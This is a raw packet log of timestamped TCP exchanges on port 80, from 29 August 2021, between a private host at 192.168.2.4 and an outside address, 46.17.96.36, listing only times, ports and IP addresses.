Aug 29, 2021 22:27:59.522413969 CEST	80	49885	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.522532940 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.523298979 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.523677111 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.524780989 CEST	80	49886	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.524877071 CEST	49886	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.530545950 CEST	49886	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.567348003 CEST	80	49886	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.591983080 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.613332987 CEST	80	49886	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.614458084 CEST	49886	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.626638889 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.627629995 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.629726887 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.629888058 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.630099058 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.630208015 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.662728071 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.662775993 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.663994074 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.664033890 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.664180040 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.665290117 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.665332079 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.665364981 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.665435076 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.665474892 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.697834969 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697873116 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697896957 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697922945 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697937965 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.697937965 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697964907 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.697971106 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.697984934 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.698028088 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.698067904 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.698138952 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.698230028 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.698292971 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.698374987 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.698487997 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.698529005 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.698565006 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.730360985 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730415106 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730448961 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730458021 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.730482101 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730511904 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.730557919 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.730618000 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730655909 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730789900 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730937958 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.730973005 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731170893 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731204987 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731307030 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731329918 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731729031 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731812000 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731837988 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.731992960 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.733063936 CEST	49886	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.734419107 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.762963057 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763004065 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763030052 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763130903 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763166904 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763200045 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763669968 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763708115 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.763820887 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.767136097 CEST	80	49888	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.767299891 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.768568993 CEST	80	49886	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.768666029 CEST	49886	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.772950888 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.800906897 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.801191092 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.805982113 CEST	80	49888	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.847225904 CEST	80	49888	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.847630024 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.958595037 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.959007025 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.960464001 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.991436005 CEST	80	49888	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.991503954 CEST	80	49887	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.991592884 CEST	49887	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.991616011 CEST	49888	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.992702007 CEST	80	49889	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.993246078 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.000924110 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.003815889 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.033318043 CEST	80	49889	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.038865089 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.039192915 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.043370008 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.043436050 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.043590069 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.043747902 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.079813004 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079862118 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079886913 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079912901 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079941988 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079967022 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.079973936 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.079991102 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.080025911 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.080044031 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.080090046 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.083905935 CEST	80	49889	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.084057093 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.119396925 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119441032 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119465113 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119486094 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.119489908 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119515896 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119540930 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119549990 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.119559050 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.119599104 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.119616032 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.119642019 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.157720089 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.157771111 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.157800913 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.157890081 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.157954931 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.158066034 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.158168077 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.158231974 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.158771992 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.158955097 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.158978939 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.159013033 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.159302950 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.159332991 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.159415960 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193098068 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193134069 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193169117 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193375111 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193403006 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193490982 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.193520069 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.201924086 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.202951908 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.229979992 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.230201960 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.234236956 CEST	80	49889	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.234373093 CEST	49889	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.237807989 CEST	80	49891	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.237950087 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.239121914 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.274079084 CEST	80	49891	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.317523003 CEST	80	49891	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.317676067 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.428155899 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.428684950 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.429745913 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.434942961 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.463080883 CEST	80	49891	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.463251114 CEST	49891	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.463704109 CEST	80	49890	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.463816881 CEST	49890	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.464775085 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.464896917 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.465706110 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.465725899 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.465894938 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.466006041 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.470251083 CEST	80	49893	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.470393896 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.470861912 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.500545025 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500611067 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500653028 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500744104 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500761032 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.500778913 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500900984 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.500902891 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.500914097 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.500937939 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.501029968 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.501095057 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.501223087 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.505806923 CEST	80	49893	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535674095 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535711050 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535731077 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535757065 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535778999 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535797119 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.535798073 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.535834074 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.535850048 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.535873890 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.535996914 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.536483049 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.536588907 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.547666073 CEST	80	49893	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.547832966 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.570660114 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.570682049 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.570781946 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.570812941 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.570832014 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.570847988 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.570861101 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.570959091 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.570997000 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571196079 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571391106 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571408033 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571542978 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571682930 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.571861982 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.605649948 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.605686903 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.605711937 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.605736971 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.605762005 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.606023073 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.643048048 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.645227909 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.652683973 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.652760983 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.653796911 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.687624931 CEST	80	49892	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.687738895 CEST	80	49893	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.687798023 CEST	49892	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.687814951 CEST	49893	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.688462019 CEST	80	49894	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.688554049 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.689237118 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.724153042 CEST	80	49894	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.766000986 CEST	80	49894	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.766110897 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.861465931 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.862656116 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.888907909 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.894670963 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.895093918 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.895920992 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.896096945 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.896389961 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.896560907 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.898169041 CEST	80	49894	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.898283005 CEST	49894	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.924338102 CEST	80	49896	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.924469948 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.925252914 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.930205107 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.930239916 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.930509090 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.930779934 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.930913925 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.931054115 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.931077957 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.931233883 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.959650993 CEST	80	49896	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.962827921 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963052034 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963067055 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963196993 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.963255882 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.963367939 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963383913 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963397980 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963444948 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.963546038 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.963551998 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.963965893 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.964066029 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.965281963 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.968750000 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.995537043 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995573044 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995598078 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995681047 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.995722055 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.995827913 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995886087 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995904922 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.995915890 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.996012926 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.996032953 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:00.996190071 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.996401072 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.996964931 CEST	80	49896	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:00.997361898 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.000890017 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.000926018 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.001054049 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029406071 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029433966 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029443026 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029449940 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029462099 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029521942 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.029635906 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.064990044 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.065196991 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.108015060 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.108445883 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.128071070 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.140296936 CEST	80	49895	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.140420914 CEST	49895	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.141747952 CEST	80	49896	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.141875029 CEST	49896	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.160490036 CEST	80	49897	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.160754919 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.161341906 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.193559885 CEST	80	49897	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.233273983 CEST	80	49897	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.233562946 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.297559977 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.298708916 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.330147028 CEST	80	49897	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.330499887 CEST	49897	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.334105968 CEST	80	49898	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:01.334244013 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.340183973 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.340241909 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.340504885 CEST	49898	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:01.340660095 CEST	49898	80	192.168.2.4	46.17.96.36
